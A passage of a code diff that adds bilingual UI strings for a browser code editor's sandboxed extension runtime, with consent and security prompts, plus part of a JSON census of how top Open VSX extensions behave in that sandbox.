37+ x2AgentBody: 'Hay extensiones de Code ejecutándose en esta pestaña. Para que un texto escrito por ellas no pueda sacar tus datos a través del agente, las peticiones web y los runtimes locales preguntan antes.',
38+ x2AgentDeny: 'Denegar',
39+ x2AgentAllow: 'Permitir esta vez',
40+ btnInstallCode: 'Instalar y ejecutar su código…',
41+ btnInstallCodeNamed: 'Instalar {name} y ejecutar su código',
42+ installedCodeMsg: '«{name}» instalada; su código corre en el recinto.',
43+ errNosha: 'Open VSX no publica la suma SHA-256 de esta versión (o no se pudo leer): su código no se instala.',
44+ errNocode: 'Esta extensión no trae código para el navegador.',
45+ errNoentry: 'Su entrada para el navegador no está en el paquete.',
46+ allCodeOff: 'Apagar todo el código de extensiones',
47+ allCodeOffDone: 'Código de extensiones apagado.',
48+ x2Unavail_site: 'Aún no disponible en este sitio: el recinto necesita su propio dominio.',
49+ x2Unavail_browser: 'En esta versión necesita Chrome o Edge.',
50+ x2Unavail_off: 'Desactivado en este sitio.',
51+ x2Unavail_url: 'Desactivado en esta pestaña (?noext2).',
52+ x2Unavail_manifest: 'El recinto de extensiones no está disponible ahora (no se pudo leer su manifiesto).',
53+ x2Err_network: 'no se pudieron bajar sus ficheros{file}',
54+ x2Err_integrity: 'un fichero suyo no coincide con su suma{file}, así que no arrancó nada',
55+ x2Err_timeout: 'no contestó a tiempo',
56+ x2Err_editor: 'el editor de Code no está abierto',
57+ x2Err_violations: 'mandó mensajes no válidos y se paró',
58+ x2Err_fatal: 'falló al arrancar',
59+ x2Err_navigated: 'se recargó solo y se paró',
60+ x2Err_csp: 'se negó a arrancar: su política de seguridad no bloquea la red',
61+ x2Err_other: 'algo falló ({code})',
62+ x2DocBig: 'Las extensiones no ven {path}: pesa más de 5 MB.',
63+ x2DocDiscarded: 'Se descartó un cambio de una extensión porque el fichero cambió mientras tanto.',
64+ keySkip_reserved: 'reservado por Elffuss Code o el navegador',
65+ keySkip_invalid: 'no es un atajo válido',
66+ keySkip_platform: 'no tiene tecla para esta plataforma',
67+ keySkip_chords: 'más de dos pulsaciones',
68+ keySkip_unknown: 'tecla desconocida',
69+ x2Blocked: 'direcciones de extensiones bloqueadas en esta sesión ({n} sin abrir)',
70+ x2Unblock: 'Desbloquear',
71+ x2Unblocked: 'Las extensiones vuelven a poder pedir que se abra una dirección (siempre preguntando).',
72+ x2BlockedDropped: 'No se abrió una dirección que pidió una extensión: están bloqueadas en esta sesión (panel de extensiones).',
73+ x2FocusToast: 'Extensiones: ir al aviso',
74+ x2ToastHint: 'Pulsa {key} para llegar a sus botones.',
75+ lineWorksNow: 'Funciona ya (sin código): {list}',
76+ lineRuns: 'Se ejecuta en el recinto de Code: {list}. Sin internet; solo ve los ficheros que abras.',
77+ lineRunsBare: 'Se ejecuta en el recinto de Code. Sin internet; solo ve los ficheros que abras.',
78+ lineRunsNot: 'Su código no puede ejecutarse aquí: {why}.',
79+ lineRunsNotHere: 'Su código no puede ejecutarse aquí. {why}',
80+ lineProposals: 'Usa APIs propuestas de VS Code, que Code no activa: algunas de sus funciones pueden fallar.',
81+ lineNode: 'Necesita Node: no está disponible en el navegador.',
82+ lineNodeDecl: 'Solo se aplican sus temas, gramáticas y snippets.',
83+ lineUnavailable: 'No aparecerá aquí: {list}',
84+ lineTested: 'Probada en Code: {text}',
85+ lineNotTested: 'Aún no probada en Code.',
86+ snippetsN: '{n} fichero de snippets|{n} ficheros de snippets',
87+ countCommands: '{n} comando|{n} comandos',
88+ countKeys: '{n} atajo|{n} atajos',
89+ countSettings: '{n} ajuste|{n} ajustes',
90+ reasonEngine: 'necesita un VS Code más nuevo que {v}',
91+ reasonProposals: 'usa APIs propuestas de VS Code',
92+ reasonNever: 'nada en Code la arranca',
93+ reasonDeps: 'necesita instalar antes {list}',
94+ reasonCensus: 'falló al probarla en Code',
95+ testedStarts: 'arranca',
96+ testedFormatter: 'formateador',
97+ testedFeatures: 'funciones de lenguaje ({list})',
98+ testedDiagnostics: 'diagnósticos',
99+ testedTooBig: 'demasiado grande para instalarla aquí {e}',
100+ testedUnsupported: 'no soportada: {e}',
101+ testedNever: 'no arranca nunca: nada en Code la dispara',
102+ testedFails: 'no arranca aquí: {e}',
103+ wb_views: 'vistas',
104+ wb_custom_editors: 'editores propios',
105+ wb_notebooks: 'notebooks',
106+ wb_walkthroughs: 'guías',
107+ wb_debugger: 'depurador',
108+ wb_terminal: 'terminal',
109+ wb_tasks: 'tareas',
110+ wb_sign_in: 'inicio de sesión',
111+ wb_chat: 'chat',
112+ wb_MCP_servers: 'servidores MCP',
113+ wb_file_labels: 'etiquetas de ficheros',
114+ wb_menus: 'menús',
115+ wb_status_bar: 'barra de estado',
116+ wb_remote: 'remoto',
117+ wb_TypeScript_plugins: 'plugins de TypeScript',
118+ wb_other: 'otras partes de VS Code',
119+ consentTitle: '¿Ejecutar el código de {name}?',
120+ consentWho: '{publisher} · versión {v} · licencia {l}',
121+ consentBody: 'Verá los ficheros que tengas abiertos y podrá cambiarlos; tú revisas y guardas. No tiene acceso a internet, no puede leer tu proyecto, tus conversaciones ni tus claves, y no puede guardar nada.',
122+ consentRuntime: 'El recinto de extensiones de Code: {mb}, se baja una vez y queda en caché.',
123+ consentExt: 'Esta extensión: {mb}.',
124+ consentExtAlready: 'Esta extensión: ya descargada al instalarla ({mb}).',
125+ consentExtUnknown: 'Esta extensión: se baja de Open VSX al aceptar y se comprueba con su suma SHA-256 publicada.',
126+ consentExtDownload: 'Esta extensión: {mb} que se bajan de Open VSX al aceptar y se comprueban con su suma SHA-256 publicada.',
127+ consentExtChecking: 'Esta extensión: mirando lo que pesa en Open VSX… (se baja al aceptar y se comprueba con su suma SHA-256 publicada).',
128+ consentFile: 'Desde un fichero .vsix: no hay suma publicada con la que comprobarlo.',
129+ consentDecl: 'Instalar sin su código',
130+ consentRun: 'Instalar y ejecutar código',
131+ consentRunOnly: 'Ejecutar código',
132+ codeHead: 'Código en el recinto:',
133+ runCode: 'Ejecutar código',
134+ stopCode: 'Apagar el código',
135+ getCode: 'Ejecutar su código…',
136+ runCodeNamed: 'Ejecutar el código de {name}',
137+ stopCodeNamed: 'Apagar el código de {name}',
138+ getCodeFile: 'Vuelve a instalar el .vsix con su código.',
139+ settingsH: 'Ajustes (JSON)',
140+ settingsFor: 'Ajustes de {name}, en JSON',
141+ settingsSave: 'Guardar ajustes',
142+ settingsSaved: 'Ajustes aplicados.',
143+ settingsBad: 'No vale: {e}',
144+ set_json: 'no es JSON válido ({e})',
145+ set_object: 'tiene que ser un objeto { … }',
146+ set_unknown: 'ajuste desconocido «{k}»',
147+ set_type: '«{k}» debería ser {t}',
148+ set_enum: '«{k}» tiene que ser uno de {list}',
149+ set_big: 'demasiado grande',
150+ stateRuntime: 'el recinto no está en marcha: {e}',
151+ stateNoCode: 'instalada sin su código',
152+ stateOff: 'apagado',
153+ stateRunning: 'en marcha',
154+ stateStarting: 'arrancando…',
155+ stateWaiting: 'lista (arranca al usarla)',
156+ stateError: 'error: {e}',
157+ stateStopped: 'parada',
158+ stateUnsupported: 'no soportada: {e}',
159+ commandsH: 'Comandos',
160+ runCmd: 'Ejecutar',
161+ runCmdNamed: 'Ejecutar {cmd}',
162+ formatterH: 'Formateador ({n} lenguajes)',
163+ formatterFor: 'Formateador de {lang}',
164+ fmtExt: '{name}',
165+ fmtBuiltin: 'el de serie',
166+ skippedH: 'Atajos sin asignar ({n})',
167+ keyConflict: 'ya lo usa {ext}',
168+ logH: 'Registro ({n})',
169+ runtimeRunning: 'Código de extensiones en marcha.',
170+ denials: 'llamadas que el recinto rechazó: {n}',
171+ },
172+ en: {
173+ x2From: 'Extension: {name}',
174+ x2FromAny: 'An extension',
175+ x2Dismiss: 'Dismiss the notification',
176+ x2Cancel: 'Cancel',
177+ x2Ok: 'OK',
178+ x2PickOne: 'Choose an option',
179+ x2PickMany: 'Type to filter (no spaces) · Space checks the highlighted one · Enter accepts',
180+ x2PickNone: 'Nothing matches.',
181+ x2InputHint: 'Type and press Enter',
182+ x2Working: 'working…',
183+ x2OpenTitle: 'Open an external address?',
184+ x2OpenBody: 'An extension, or a link it showed, wants to open this address in a new tab. Everything in the address reaches that site.',
185+ x2OpenBodyLink: 'Extensions that run code are active in this tab, so links in the editor ask first. Everything in the address reaches that site.',
186+ x2OpenSite: 'Site:',
187+ x2OpenPuny: '(written {host})',
188+ x2OpenNoClick: 'Requested without a click.',
189+ x2OpenInvalid: 'This is not a valid address: it can only be copied.',
190+ x2OpenScheme: 'Addresses of type “{scheme}:” are not opened from here: it can only be copied.',
191+ x2OpenCopy: 'Copy address',
192+ x2OpenCopied: 'Copied',
193+ x2OpenCopyFailed: 'Could not copy',
194+ x2OpenOpen: 'Open in new tab',
195+ x2OpenBlock: 'Block requests for this session',
196+ x2PreviewTitle: 'Preview a file an extension changed?',
197+ x2PreviewBody: 'An extension changed this file. The preview runs the page’s scripts, which can reach the internet and read the project files it references.',
198+ x2PreviewAnyway: 'Preview anyway',
199+ x2AgentWebTitle: 'Let the agent make this web request?',
200+ x2AgentRunTitle: 'Let the agent run this command?',
201+ x2AgentBody: 'Code extensions are running in this tab. To keep text they wrote from sending your data out through the agent, web requests and local runtimes ask first.',
202+ x2AgentDeny: 'Deny',
203+ x2AgentAllow: 'Allow once',
204+ btnInstallCode: 'Install and run its code…',
205+ btnInstallCodeNamed: 'Install {name} and run its code',
206+ installedCodeMsg: '“{name}” installed; its code runs in the sandbox.',
207+ errNosha: 'Open VSX publishes no SHA-256 for this version (or it could not be read): its code is not installed.',
208+ errNocode: 'This extension brings no code for the browser.',
209+ errNoentry: 'Its browser entry is not in the package.',
210+ allCodeOff: 'Turn off all extension code',
211+ allCodeOffDone: 'Extension code turned off.',
212+ x2Unavail_site: 'Not available on this site yet: the sandbox needs its own domain.',
213+ x2Unavail_browser: 'Needs Chrome or Edge in this version.',
214+ x2Unavail_off: 'Turned off on this site.',
215+ x2Unavail_url: 'Turned off for this tab (?noext2).',
216+ x2Unavail_manifest: 'The extension sandbox is not available right now (its manifest could not be read).',
217+ x2Err_network: 'its files could not be downloaded{file}',
218+ x2Err_integrity: 'one of its files does not match its checksum{file}, so nothing was started',
219+ x2Err_timeout: 'it did not answer in time',
220+ x2Err_editor: 'Code’s editor is not open',
221+ x2Err_violations: 'it sent invalid messages and was stopped',
222+ x2Err_fatal: 'it failed while starting',
223+ x2Err_navigated: 'it reloaded on its own and was stopped',
224+ x2Err_csp: 'it refused to start: its security policy does not block the network',
225+ x2Err_other: 'something went wrong ({code})',
226+ x2DocBig: 'Extensions do not see {path}: it is larger than 5 MB.',
227+ x2DocDiscarded: 'An extension’s change was discarded because the file changed meanwhile.',
228+ keySkip_reserved: 'reserved by Elffuss Code or the browser',
229+ keySkip_invalid: 'not a valid keybinding',
230+ keySkip_platform: 'no key for this platform',
231+ keySkip_chords: 'more than two chords',
232+ keySkip_unknown: 'unknown key',
233+ x2Blocked: 'address requests from extensions blocked for this session ({n} not opened)',
234+ x2Unblock: 'Unblock',
235+ x2Unblocked: 'Extensions can ask to open an address again (it always asks you first).',
236+ x2BlockedDropped: 'An address an extension asked for was not opened: they are blocked for this session (Extensions panel).',
237+ x2FocusToast: 'Extensions: Go to the notification',
238+ x2ToastHint: 'Press {key} to reach its buttons.',
239+ lineWorksNow: 'Works now (no code): {list}',
240+ lineRuns: 'Runs in Code’s sandbox: {list}. No internet; sees only the files you open.',
241+ lineRunsBare: 'Runs in Code’s sandbox. No internet; sees only the files you open.',
242+ lineRunsNot: 'Its code can’t run here: {why}.',
243+ lineRunsNotHere: 'Its code can’t run here. {why}',
244+ lineProposals: 'Uses proposed VS Code APIs, which Code doesn’t turn on: some of its features may fail.',
245+ lineNode: 'Needs Node: not available in the browser.',
246+ lineNodeDecl: 'Only its themes, grammars and snippets apply.',
247+ lineUnavailable: 'Won’t appear here: {list}',
248+ lineTested: 'Tested in Code: {text}',
249+ lineNotTested: 'Not tested in Code yet.',
250+ snippetsN: '{n} snippet file|{n} snippet files',
251+ countCommands: '{n} command|{n} commands',
252+ countKeys: '{n} keybinding|{n} keybindings',
253+ countSettings: '{n} setting|{n} settings',
254+ reasonEngine: 'needs a newer VS Code than {v}',
255+ reasonProposals: 'uses proposed VS Code APIs',
256+ reasonNever: 'nothing in Code starts it',
257+ reasonDeps: 'needs {list} installed first',
258+ reasonCensus: 'it failed when tested in Code',
259+ testedStarts: 'starts',
260+ testedFormatter: 'formatter',
261+ testedFeatures: 'language features ({list})',
262+ testedDiagnostics: 'diagnostics',
263+ testedTooBig: 'too large to install here {e}',
264+ testedUnsupported: 'not supported: {e}',
265+ testedNever: 'never starts: nothing in Code triggers it',
266+ testedFails: 'doesn’t start here: {e}',
267+ wb_views: 'views',
268+ wb_custom_editors: 'custom editors',
269+ wb_notebooks: 'notebooks',
270+ wb_walkthroughs: 'walkthroughs',
271+ wb_debugger: 'debugger',
272+ wb_terminal: 'terminal',
273+ wb_tasks: 'tasks',
274+ wb_sign_in: 'sign-in',
275+ wb_chat: 'chat',
276+ wb_MCP_servers: 'MCP servers',
277+ wb_file_labels: 'file labels',
278+ wb_menus: 'menus',
279+ wb_status_bar: 'status bar',
280+ wb_remote: 'remote',
281+ wb_TypeScript_plugins: 'TypeScript plugins',
282+ wb_other: 'other parts of VS Code',
283+ consentTitle: 'Run the code of {name}?',
284+ consentWho: '{publisher} · version {v} · licence {l}',
285+ consentBody: 'It will see the files you have open and can change them; you review and save. It has no internet access, can’t read your project, conversations or keys, and can’t save anything.',
286+ consentRuntime: 'Code’s extension runtime: {mb}, downloaded once and then cached.',
287+ consentExt: 'This extension: {mb}.',
288+ consentExtAlready: 'This extension: already downloaded at install ({mb}).',
289+ consentExtUnknown: 'This extension: downloaded from Open VSX when you accept, and checked against its published SHA-256.',
290+ consentExtDownload: 'This extension: {mb}, downloaded from Open VSX when you accept and checked against its published SHA-256.',
291+ consentExtChecking: 'This extension: checking its size on Open VSX… (downloaded when you accept, and checked against its published SHA-256).',
292+ consentFile: 'From a .vsix file: there is no published SHA-256 to check it against.',
293+ consentDecl: 'Install without its code',
294+ consentRun: 'Install and run code',
295+ consentRunOnly: 'Run code',
296+ codeHead: 'Code in the sandbox:',
297+ runCode: 'Run code',
298+ stopCode: 'Turn off code',
299+ getCode: 'Run its code…',
300+ runCodeNamed: 'Run the code of {name}',
301+ stopCodeNamed: 'Turn off the code of {name}',
302+ getCodeFile: 'Install the .vsix again with its code.',
303+ settingsH: 'Settings (JSON)',
304+ settingsFor: 'Settings of {name}, as JSON',
305+ settingsSave: 'Save settings',
306+ settingsSaved: 'Settings applied.',
307+ settingsBad: 'Not valid: {e}',
308+ set_json: 'not valid JSON ({e})',
309+ set_object: 'it must be an object { … }',
310+ set_unknown: 'unknown setting “{k}”',
311+ set_type: '“{k}” should be {t}',
312+ set_enum: '“{k}” must be one of {list}',
313+ set_big: 'too large',
314+ stateRuntime: 'the sandbox is not running: {e}',
315+ stateNoCode: 'installed without its code',
316+ stateOff: 'off',
317+ stateRunning: 'running',
318+ stateStarting: 'starting…',
319+ stateWaiting: 'ready (starts when first used)',
320+ stateError: 'error: {e}',
321+ stateStopped: 'stopped',
322+ stateUnsupported: 'not supported: {e}',
323+ commandsH: 'Commands',
324+ runCmd: 'Run',
325+ runCmdNamed: 'Run {cmd}',
326+ formatterH: 'Formatter ({n} languages)',
327+ formatterFor: 'Formatter for {lang}',
328+ fmtExt: '{name}',
329+ fmtBuiltin: 'built-in',
330+ skippedH: 'Keybindings not bound ({n})',
331+ keyConflict: 'already used by {ext}',
332+ logH: 'Log ({n})',
333+ runtimeRunning: 'Extension code is running.',
334+ denials: 'calls the sandbox refused: {n}',
335+ },
336+};
337+addStrings(STRINGS2);
added web/js/ext2/tested.json +1621 −0
@@ -0,0 +1,1621 @@
1+{
2+ "schema": 1,
3+ "date": "2026-10-11",
4+ "vscode": "1.138.0",
5+ "library": "@codingame/monaco-vscode-api@37.3.11",
6+ "buildId": "ad4bdda82184c442",
7+ "method": "Runtime census: the top 500 Open VSX extensions by downloads (list of 2026-10-11) that have a browser entry, each installed from its verified .vsix and started alone in the real sandbox; once the sandbox ran, one sample document per language was opened; activation events fired: those documents' languages, onStartupFinished, * and onCommand for each contributed command (no command was executed).",
8+ "counts": {
9+ "topN": 500,
10+ "listDate": "2026-10-11",
11+ "browserEntry": 89,
12+ "installed": 81,
13+ "active": 50,
14+ "activeAndUseful": 34,
15+ "activeNothingRegistered": 16,
16+ "error": 23,
17+ "notActivated": 7,
18+ "unsupported": 1,
19+ "installFailed": 8,
20+ "sandboxOrCensusError": 0,
21+ "withWorkbenchContributions": 52,
22+ "withFormatter": 5,
23+ "beaconHits": 0
24+ },
25+ "results": {
26+ "ms-python.python@2026.4.0": {
27+ "rank": 3,
28+ "downloads": 60416390,
29+ "declarative": {
30+ "grammars": 1,
31+ "languages": 6
32+ },
33+ "workbench": [
34+ "problemMatchers",
35+ "walkthroughs",
36+ "breakpoints",
37+ "debuggers",
38+ "viewsWelcome",
39+ "languageModelTools"
40+ ],
41+ "apiProposals": 9,
42+ "bytes": 16767917,
43+ "state": "active",
44+ "commands": 0,
45+ "contributedCommands": 23,
46+ "providers": {},
47+ "diagnostics": false
48+ },
49+ "eamodio.gitlens@2026.10.90519": {
50+ "rank": 19,
51+ "downloads": 17572572,
52+ "declarative": {},
53+ "workbench": [
54+ "mcpServerDefinitionProviders",
55+ "customEditors",
56+ "resourceLabelFormatters",
57+ "viewsContainers",
58+ "viewsWelcome",
59+ "views",
60+ "walkthroughs"
61+ ],
62+ "bytes": 19305322,
63+ "state": "error",
64+ "error": "Activating extension 'eamodio.gitlens' failed: Unsupported: Wz.setExtensionState is not supported. You are using a feature without registering the corresponding service override..",
65+ "activation": "failed",
66+ "commands": 0,
67+ "contributedCommands": 1171,
68+ "providers": {},
69+ "diagnostics": false,
70+ "unsupportedCalls": [
71+ "Wz.setKeysForSync"
72+ ],
73+ "sandboxErrors": 1
74+ },
75+ "ms-toolsai.jupyter@2025.9.1": {
76+ "rank": 24,
77+ "downloads": 10724083,
78+ "declarative": {
79+ "languages": 2
80+ },
81+ "workbench": [
82+ "walkthroughs",
83+ "notebookRenderer",
84+ "viewsContainers",
85+ "views",
86+ "debuggers",
87+ "languageModelTools"
88+ ],
89+ "apiProposals": 13,
90+ "bytes": 9807283,
91+ "state": "active",
92+ "commands": 78,
93+ "contributedCommands": 83,
94+ "providers": {
95+ "codeAction": 1,
96+ "hover": 1
97+ },
98+ "later": {
99+ "codeLensProvider": 1,
100+ "foldingRangeProvider": 1
101+ },
102+ "diagnostics": false,
103+ "sandboxErrors": 2
104+ },
105+ "vue.volar@3.3.13": {
106+ "rank": 25,
107+ "downloads": 10624772,
108+ "declarative": {
109+ "grammars": 7,
110+ "languages": 4
111+ },
112+ "workbench": [
113+ "breakpoints"
114+ ],
115+ "bytes": 4267867,
116+ "state": "active",
117+ "commands": 0,
118+ "contributedCommands": 2,
119+ "providers": {},
120+ "diagnostics": false,
121+ "askedUser": {
122+ "toasts": 1
123+ }
124+ },
125+ "ms-toolsai.jupyter-renderers@1.3.0": {
126+ "rank": 26,
127+ "downloads": 10157266,
128+ "declarative": {},
129+ "workbench": [
130+ "notebookRenderer"
131+ ],
132+ "apiProposals": 1,
133+ "bytes": 17333605,
134+ "state": "installed",
135+ "activation": "no activation event fired",
136+ "commands": 0,
137+ "contributedCommands": 0,
138+ "providers": {},
139+ "diagnostics": false
140+ },
141+ "esbenp.prettier-vscode@12.4.0": {
142+ "rank": 27,
143+ "downloads": 9439254,
144+ "declarative": {
145+ "languages": 5
146+ },
147+ "workbench": [],
148+ "bytes": 5875354,
149+ "state": "active",
150+ "commands": 3,
151+ "contributedCommands": 2,
152+ "providers": {
153+ "formatRange": 1,
154+ "format": 1,
155+ "codeAction": 1
156+ },
157+ "diagnostics": false
158+ },
159+ "ms-toolsai.vscode-jupyter-cell-tags@0.1.9": {
160+ "rank": 29,
161+ "downloads": 8465256,
162+ "declarative": {},
163+ "workbench": [
164+ "views",
165+ "viewsWelcome"
166+ ],
167+ "bytes": 279692,
168+ "state": "active",
169+ "commands": 4,
170+ "contributedCommands": 4,
171+ "providers": {},
172+ "diagnostics": false,
173+ "sandboxErrors": 1,
174+ "askedUser": {
175+ "toasts": 1
176+ }
177+ },
178+ "ms-toolsai.vscode-jupyter-slideshow@0.1.6": {
179+ "rank": 30,
180+ "downloads": 8418085,
181+ "declarative": {},
182+ "workbench": [],
183+ "bytes": 267968,
184+ "state": "active",
185+ "commands": 2,
186+ "contributedCommands": 2,
187+ "providers": {},
188+ "diagnostics": false,
189+ "sandboxErrors": 1
190+ },
191+ "redhat.vscode-yaml@1.25.2026101008": {
192+ "rank": 31,
193+ "downloads": 8165783,
194+ "declarative": {
195+ "grammars": 1,
196+ "languages": 1
197+ },
198+ "workbench": [],
199+ "bytes": 4076535,
200+ "state": "active",
201+ "commands": 2,
202+ "contributedCommands": 0,
203+ "providers": {
204+ "completion": 1,
205+ "hover": 1,
206+ "definition": 1,
207+ "symbols": 1,
208+ "codeAction": 1,
209+ "formatOnType": 1,
210+ "rename": 1,
211+ "format": 1
212+ },
213+ "later": {
214+ "codeLensProvider": 1,
215+ "linkProvider": 1,
216+ "foldingRangeProvider": 1,
217+ "selectionRangeProvider": 1
218+ },
219+ "diagnostics": true,
220+ "askedUser": {
221+ "toasts": 1
222+ }
223+ },
224+ "github.vscode-pull-request-github@0.168.0": {
225+ "rank": 36,
226+ "downloads": 6601546,
227+ "declarative": {},
228+ "workbench": [
229+ "viewsContainers",
230+ "views",
231+ "viewsWelcome",
232+ "resourceLabelFormatters",
233+ "languageModelTools"
234+ ],
235+ "apiProposals": 33,
236+ "bytes": 6164632,
237+ "state": "error",
238+ "error": "Activating extension 'GitHub.vscode-pull-request-github' failed: Elffuss Code does not let extensions call MainThreadAuthentication.$ensureProvider.",
239+ "activation": "failed",
240+ "commands": 1,
241+ "contributedCommands": 174,
242+ "providers": {},
243+ "diagnostics": false
244+ },
245+ "pkief.material-icon-theme@5.39.0": {
246+ "rank": 37,
247+ "downloads": 6416680,
248+ "declarative": {},
249+ "workbench": [],
250+ "bytes": 1901023,
251+ "state": "active",
252+ "commands": 0,
253+ "contributedCommands": 11,
254+ "providers": {},
255+ "diagnostics": false
256+ },
257+ "quarto.quarto@1.138.0": {
258+ "rank": 42,
259+ "downloads": 4525173,
260+ "declarative": {
261+ "grammars": 4,
262+ "snippets": 5,
263+ "languages": 4
264+ },
265+ "workbench": [
266+ "views",
267+ "customEditors",
268+ "walkthroughs",
269+ "notebookRenderer"
270+ ],
271+ "bytes": 42364183,
272+ "state": "active",
273+ "commands": 0,
274+ "contributedCommands": 48,
275+ "providers": {},
276+ "diagnostics": false
277+ },
278+ "github.vscode-github-actions@0.32.3": {
279+ "rank": 43,
280+ "downloads": 4475906,
281+ "declarative": {
282+ "grammars": 2,
283+ "languages": 1
284+ },
285+ "workbench": [
286+ "debuggers",
287+ "views",
288+ "viewsWelcome",
289+ "viewsContainers"
290+ ],
291+ "bytes": 10510767,
292+ "state": "error",
293+ "error": "Activating extension 'github.vscode-github-actions' failed: process is not defined.",
294+ "activation": "failed",
295+ "commands": 0,
296+ "contributedCommands": 24,
297+ "providers": {},
298+ "diagnostics": false
299+ },
300+ "amazonwebservices.aws-toolkit-vscode@4.17.0": {
301+ "rank": 47,
302+ "downloads": 3698127,
303+ "declarative": {
304+ "grammars": 5,
305+ "languages": 5
306+ },
307+ "workbench": [
308+ "debuggers",
309+ "viewsContainers",
310+ "viewsWelcome",
311+ "views",
312+ "resourceLabelFormatters",
313+ "walkthroughs",
314+ "notebooks",
315+ "customEditors"
316+ ],
317+ "state": "install-failed",
318+ "error": "a file over the 32 MiB limit"
319+ },
320+ "mechatroner.rainbow-csv@3.24.1": {
321+ "rank": 51,
322+ "downloads": 3276823,
323+ "declarative": {
324+ "grammars": 6,
325+ "languages": 6
326+ },
327+ "workbench": [],
328+ "bytes": 1316235,
329+ "state": "active",
330+ "commands": 25,
331+ "contributedCommands": 24,
332+ "providers": {
333+ "symbols": 1,
334+ "hover": 6
335+ },
336+ "later": {
337+ "documentRangeSemanticTokensProvider": 1
338+ },
339+ "diagnostics": false
340+ },
341+ "shd101wyy.markdown-preview-enhanced@0.8.40": {
342+ "rank": 62,
343+ "downloads": 2400502,
344+ "declarative": {},
345+ "workbench": [
346+ "customEditors"
347+ ],
348+ "bytes": 66009523,
349+ "state": "error",
350+ "error": "Activating extension 'shd101wyy.markdown-preview-enhanced' failed: global is not defined.",
351+ "activation": "failed",
352+ "commands": 0,
353+ "contributedCommands": 36,
354+ "providers": {},
355+ "diagnostics": false
356+ },
357+ "hashicorp.terraform@2.40.0": {
358+ "rank": 63,
359+ "downloads": 2340047,
360+ "declarative": {
361+ "grammars": 9,
362+ "languages": 11
363+ },
364+ "workbench": [
365+ "mcpServerDefinitionProviders",
366+ "views",
367+ "viewsContainers",
368+ "viewsWelcome"
369+ ],
370+ "variant": "web",
371+ "bytes": 1859078,
372+ "state": "error",
373+ "error": "Activating extension 'hashicorp.terraform' failed: Cannot read properties of undefined (reading 'length').",
374+ "activation": "failed",
375+ "commands": 0,
376+ "contributedCommands": 24,
377+ "providers": {},
378+ "diagnostics": false
379+ },
380+ "amazonwebservices.amazon-q-vscode@2.8.0": {
381+ "rank": 69,
382+ "downloads": 2180955,
383+ "declarative": {},
384+ "workbench": [
385+ "viewsContainers",
386+ "views",
387+ "viewsWelcome",
388+ "walkthroughs"
389+ ],
390+ "state": "install-failed",
391+ "error": "over the 64 MiB limit for one extension"
392+ },
393+ "cweijan.vscode-office@4.2.0": {
394+ "rank": 73,
395+ "downloads": 2106328,
396+ "declarative": {
397+ "themes": 2,
398+ "grammars": 6,
399+ "snippets": 1,
400+ "languages": 6
401+ },
402+ "workbench": [
403+ "customEditors"
404+ ],
405+ "bytes": 35320522,
406+ "state": "error",
407+ "error": "Activating extension 'cweijan.vscode-office' failed: Cannot load module 'pdf-lib'.",
408+ "activation": "failed",
409+ "commands": 0,
410+ "contributedCommands": 10,
411+ "providers": {},
412+ "diagnostics": false
413+ },
414+ "ms-vscode.vscode-js-profile-table@1.0.11": {
415+ "rank": 76,
416+ "downloads": 2072027,
417+ "declarative": {},
418+ "workbench": [
419+ "customEditors"
420+ ],
421+ "bytes": 2321001,
422+ "state": "active",
423+ "commands": 1,
424+ "contributedCommands": 1,
425+ "providers": {},
426+ "later": {
427+ "codeLensProvider": 1
428+ },
429+ "diagnostics": false,
430+ "sandboxErrors": 3
431+ },
432+ "vscodevim.vim@1.32.4": {
433+ "rank": 82,
434+ "downloads": 1949173,
435+ "declarative": {
436+ "grammars": 1,
437+ "languages": 1
438+ },
439+ "workbench": [],
440+ "bytes": 4026898,
441+ "state": "unsupported",
442+ "unsupported": "replaces typing",
443+ "error": "replaces typing (the \"type\" command), which Elffuss Code does not support",
444+ "contributedCommands": 3
445+ },
446+ "davidanson.vscode-markdownlint@0.62.1": {
447+ "rank": 85,
448+ "downloads": 1805249,
449+ "declarative": {
450+ "snippets": 1
451+ },
452+ "workbench": [
453+ "taskDefinitions",
454+ "problemMatchers"
455+ ],
456+ "bytes": 1272771,
457+ "state": "active",
458+ "commands": 5,
459+ "contributedCommands": 4,
460+ "providers": {
461+ "codeAction": 1,
462+ "formatRange": 1
463+ },
464+ "diagnostics": true,
465+ "sandboxErrors": 1
466+ },
467+ "vscode-icons-team.vscode-icons@13.0.0": {
468+ "rank": 91,
469+ "downloads": 1554750,
470+ "declarative": {},
471+ "workbench": [],
472+ "bytes": 7164621,
473+ "state": "active",
474+ "commands": 0,
475+ "contributedCommands": 13,
476+ "providers": {},
477+ "diagnostics": false
478+ },
479+ "usernamehw.errorlens@3.29.0": {
480+ "rank": 99,
481+ "downloads": 1224325,
482+ "declarative": {},
483+ "workbench": [],
484+ "bytes": 194753,
485+ "state": "active",
486+ "commands": 18,
487+ "contributedCommands": 15,
488+ "providers": {},
489+ "diagnostics": false
490+ },
491+ "vscode.npm@1.95.3": {
492+ "rank": 108,
493+ "downloads": 994737,
494+ "declarative": {
495+ "languages": 2
496+ },
497+ "workbench": [
498+ "views",
499+ "taskDefinitions"
500+ ],
501+ "apiProposals": 1,
502+ "bytes": 495980,
503+ "state": "active",
504+ "commands": 0,
505+ "contributedCommands": 8,
506+ "providers": {
507+ "completion": 2,
508+ "hover": 2
509+ },
510+ "diagnostics": false
511+ },
512+ "qwtel.sqlite-viewer@26.9.1": {
513+ "rank": 109,
514+ "downloads": 985440,
515+ "declarative": {
516+ "languages": 1
517+ },
518+ "workbench": [
519+ "customEditors"
520+ ],
521+ "bytes": 9300426,
522+ "state": "active",
523+ "commands": 5,
524+ "contributedCommands": 5,
525+ "providers": {},
526+ "diagnostics": false,
527+ "unsupportedCalls": [
528+ "Wz.setKeysForSync"
529+ ],
530+ "sandboxErrors": 3
531+ },
532+ "zhuangtongfa.material-theme@3.20.3": {
533+ "rank": 115,
534+ "downloads": 915557,
535+ "declarative": {
536+ "themes": 5
537+ },
538+ "workbench": [],
539+ "bytes": 1098286,
540+ "state": "active",
541+ "commands": 7,
542+ "contributedCommands": 7,
543+ "providers": {},
544+ "diagnostics": false
545+ },
546+ "jeanp413.open-remote-ssh@0.4.0": {
547+ "rank": 116,
548+ "downloads": 911286,
549+ "declarative": {},
550+ "workbench": [
551+ "views",
552+ "resourceLabelFormatters"
553+ ],
554+ "apiProposals": 2,
555+ "bytes": 658169,
556+ "state": "error",
557+ "error": "Activating extension 'jeanp413.open-remote-ssh' failed: Cannot load module 'node:util'.",
558+ "activation": "failed",
559+ "commands": 0,
560+ "contributedCommands": 12,
561+ "providers": {},
562+ "diagnostics": false
563+ },
